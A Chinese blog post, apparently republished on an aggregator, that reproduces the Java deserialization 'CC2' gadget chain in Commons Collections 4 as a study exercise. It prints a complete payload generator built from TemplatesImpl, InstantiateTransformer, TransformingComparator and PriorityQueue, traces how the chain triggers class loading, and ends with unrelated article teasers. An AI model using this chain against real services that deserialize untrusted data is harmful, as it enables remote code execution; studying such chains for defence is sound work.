java 反序列化 cc2 复现

news/2024/11/15 8:33:20/文章来源:https://www.cnblogs.com/meraklbz/p/18547282

cc2就是cc4的一个变种,无论是出口还是执行命令部分都没有改变,只是绕过了Chainedtransformer,直接将InstantiateTransformerTransformingComparator去进行了衔接.
直接放我改后的payload

package org.example;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.*;  import javax.xml.transform.Templates;  
import java.io.*;  public class Main {  public static void main(String[] args) throws Exception{  TemplatesImpl templatesimpl = new TemplatesImpl();  Class<?> clazz = templatesimpl.getClass();  Field field = clazz.getDeclaredField("_name");  field.setAccessible(true);  field.set(templatesimpl, "test");  Field field2 = clazz.getDeclaredField("_bytecodes");  field2.setAccessible(true);  byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  byte[][] codes = {code};  field2.set(templatesimpl, codes);  Field field3 = clazz.getDeclaredField("_tfactory");  field3.setAccessible(true);  field3.set(templatesimpl, new TransformerFactoryImpl());  //        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
//        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
//        Transformer[] transformers = {ct, it};  
//  
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
//  
//        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);  
//        PriorityQueue pq = new PriorityQueue<>(transformingComparator);  InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer);  PriorityQueue pq = new PriorityQueue(transformingComparator);  Class clazz1 = pq.getClass();  Field field1 = clazz1.getDeclaredField("size");  field1.setAccessible(true);  field1.set(pq, 2);  /*  * 通过修改 PriorityQueue 的 queue 字段,来设置InstantiateTransformer的transform方法去构造的类  */       Class clazz0 = pq.getClass();  Field field0 = clazz0.getDeclaredField("queue");  field0.setAccessible(true);  field0.set(pq, new Object[]{TrAXFilter.class, 2});  serial(pq);  unserial();  }  public static void serial(Object obj) throws IOException {  ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  out.writeObject(obj);  }  public static void unserial() throws IOException, ClassNotFoundException {  ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  in.readObject();  }  
}

感觉网上的改法五花八门的,所以就没看自己去改的.重点分析TrAXFilter.class如何从队列的一个参数传递到InstantiateTransformer的,这也是cc2相对cc4的不同之处.(cc4是直接通过ChainedTransformer来衔接的,不需要进行传递)

PriorityQueue

我们在cc4中分析过siftDownUsingComparator调用compare方法.

private void siftDownUsingComparator(int k, E x) {  int half = size >>> 1;  while (k < half) {  int child = (k << 1) + 1;  Object c = queue[child];  int right = child + 1;  if (right < size &&  comparator.compare((E) c, (E) queue[right]) > 0)  c = queue[child = right];  if (comparator.compare(x, (E) c) <= 0)  break;  queue[k] = c;  k = child;  }  queue[k] = x;  
}

发现compare方法的第二个参数传递的是(E) queue[right],也就是说他把队列中的一个元素传递了过去.

TransformingComparator

来看这个compare方法

public int compare(final I obj1, final I obj2) {  final O value1 = this.transformer.transform(obj1);  final O value2 = this.transformer.transform(obj2);  return this.decorated.compare(value1, value2);  
}

在接受到参数后,直接用参数执行了transform方法,也就是通过obj2将之前队列里的TrAXFilter传递给了InstantiateTransformer

InstantiateTransformer

直接看这个transform

public Object transform(Object input) {try {if (!(input instanceof Class)) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));} else {Constructor con = ((Class)input).getConstructor(this.iParamTypes);return con.newInstance(this.iArgs);}} catch (NoSuchMethodException var3) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException var4) {InstantiationException ex = var4;throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException var5) {IllegalAccessException ex = var5;throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException var6) {InvocationTargetException ex = var6;throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}}

此时已经非常明了了.获取TrAXFilter的构造方法并构建一个实例,而TrAXFilter的构造方法中触发了newTransformer,这里已经对接上了cc3.
归纳出利用链

Gadget chain:
PriorityQueue.readObject()PriorityQueue.heapify()  PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()InstantiateTransformer.transform()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.defineClass()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/833838.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

案例分享-导致MySQL崩溃的SQL语句

你小子一条SQL竟然让MySQL崩溃,让我来看看怎么个事背景 周一刚上班一个开发小哥火急火燎的过来找我,黑龙江某客户私有化环境的服务过一阵就报数据库连接失败,不知道是什么原因导致的,我以为是客户调整了网络,但是客户说并没有做任何调整,我使用ping测试也看不出什么问题,…

利用腾讯元器,将公众号变身为强大的.NET AI智能体

前言 经常有粉丝朋友在公众号后台私信提问,因为个人平时比较少看公众号后台的私信所以没法及时回复。最近发现腾讯推出了一个可以创建和使用各种智能体的平台(帮助小白也能快速使用AI):腾讯元器,正好自己每天也在公众号更新.NET相关的文章(到目前为止.NET相关的文章应该有…

解密prompt系列42. LLM通往动态复杂思维链之路

想要更优的Inference Time Scaling曲线,前提是模型本身是一个很强的Generator,已经拥有足够的生成合理推理过程的能力,同时还拥有很强的Verifier模型来对推理节点进行打分决策,并且二者可以在少人类监督的条件下不断迭代优化。这一章我们先聊聊如何让大模型"自学"…

记 QEMU 虚拟磁盘设备移动文件抛异常但实际移动成功

本文记录我所在的团队的一个简单的 WPF 应用程序在某个用户设备上跑出来的诡异行为。这个程序会从网上下载资源,下载的时候先下载到临时文件,再通过移动重命名的方式放到正确的路径。偶尔会出现下载成功,但是移动过程失败,但远程过去看却发现实际移动成功了我使用 Get-WmiO…

一些摘录与思考

void「【即使只有一些精神病患者,也会妨碍大家工作。所以对这些麻烦的人,就需要赶紧把他们的症状治好,尽早恢复而成为团队的力量。但是让他们接受治疗的话,会损失劳动力的吧。那就不太好了。会掉业绩的。所以应该让他们去做那种可以边工作边接受的治疗。 而且,如果治疗做过…

[题解](更新中)2024/11/14 模拟赛 A~B

汉诺塔(hanoi) 题面是在说,你可以用两只手作为临时存储来玩汉诺塔,当且仅当拿起一个圆盘时,操作次数\(+1\)。 我们不妨将盘子两两分组,组内盘子看作一个大盘子,拿起它的花费是\(+2\),然后根据\(n\)的奇偶性来讨论(\(f(i)\)表示\(i\)盘经典汉诺塔问题的答案):\(n\)是偶…

如何彻底禁止 macOS Sonoma 自动更新,去除更新标记和通知

如何彻底禁止 macOS Sonoma 自动更新,去除更新标记和通知如何彻底禁止 macOS Sonoma 自动更新,去除更新标记和通知 请访问原文链接:https://sysin.org/blog/disable-macos-update/ 查看最新版。原创作品,转载请保留出处。 作者主页:sysin.org本文与 macOS Ventura 操作基本…

pycharm改变语法错误的颜色

在PyCharm的默认颜色中,如果方法名称写错了或变量名称写错了,文字下会有淡黄色波浪线,右侧滚动条也是黄色的,根本看不清楚。 经过一番搜索,发现这个贴子:https://intellij-support.jetbrains.com/hc/en-us/community/posts/115000597704/comments/11745417961874 you can…

超越图像超分辨率的任务驱动感知损失图像识别

超越图像超分辨率的任务驱动感知损失图像识别在实际场景中,由于低分辨率(LR)内容中缺乏可用信息,图像识别任务(如语义分割和对象检测)通常会带来更大的挑战。图像超分辨率(SR)是解决这些挑战的有前景的解决方案之一。然而,由于SR的病态特性,典型的SR方法很难恢复与任…

4D医学图像的无中间帧数据高效无监督插值

4D医学图像的无中间帧数据高效无监督插值4D医学图像代表具有时间信息的3D图像,在临床实践中对于捕捉动态变化和监测长期疾病进展至关重要。然而,由于辐射暴露和成像持续时间等因素,获取4D医学图像带来了挑战,需要在实现高时间分辨率和最小化不利影响之间取得平衡。鉴于这些…

Windows 直接访问 WSL2 路径并直接进行读写操作,权限不足解决方法

https://blog.csdn.net/qq_33412312/article/details/119720052 https://learn.microsoft.com/zh-cn/windows/wsl/wsl-config